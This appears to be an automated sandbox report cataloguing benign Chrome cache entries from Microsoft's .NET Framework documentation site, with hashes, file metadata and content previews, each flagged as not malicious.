SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
